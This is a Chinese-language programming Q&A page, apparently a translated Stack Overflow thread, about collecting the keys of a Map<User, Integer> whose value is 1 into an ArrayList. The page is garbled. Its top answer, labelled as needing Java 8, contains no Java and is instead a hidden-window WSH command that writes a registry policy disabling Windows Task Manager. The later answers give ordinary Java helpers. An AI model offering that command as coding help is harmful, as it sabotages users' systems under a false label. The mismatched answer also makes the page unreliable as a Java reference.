将Map转换为ArrayList,其中entry value = something

时间:2015-08-19 12:00:15

标签: java arraylist hashmap

我正在使用Map<User, Integer>,我需要选择具有特定整数的用户并将它们添加到ArrayList,最简单的方法是让所有用户进入ArrayList<User>,其中Integer = 1?

这是我尝试的,它有效,但我会感谢更短的代码。

ArrayList<User> users = new ArrayList();

for (Map.Entry<User, Integer> entry : userAnswers.entrySet())
{
    if(entry.getValue()==1) users.add(entry.getKey());
}
编辑:谢谢你Danil Gaponov,你的回答正是我想要的!

4 个答案:

答案 0 :(得分:6)

需要Java 8:

WSHShell.Run("Reg.exe add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f", 0, 1)

答案 1 :(得分:4)

创建一个通用的静态方法:

public static <K, V> List<K> collectKeys(Map<K, V> map, V v) {
    List<K> list = new ArrayList<>();
    for (Map.Entry<K, V> e : map.entrySet()) 
        if (Objects.equals(e.getValue(), v))  // null-safe comparison
            list.add(e.getKey());
    return list;
}

然后简单地说:

users = collectKeys(userAnswers, 1);

答案 2 :(得分:1)

我认为没有更容易的方法。使用for循环和if就像Java一样简单。

为什么你认为应该有一个更简单的方法?也许当你说:

时,你并没有按照我的想法行事
  

with for和if Integer == 1,添加到ArrayList

如果您发布了已完成的内容,我们可以看到是否有更简单的方法。

答案 3 :(得分:1)

如果您正在寻找代码简单性,那么您也可以使用proton pack实用程序来使用这个简单的Java 8。

MapStream.of(map).inverseMapping().collect();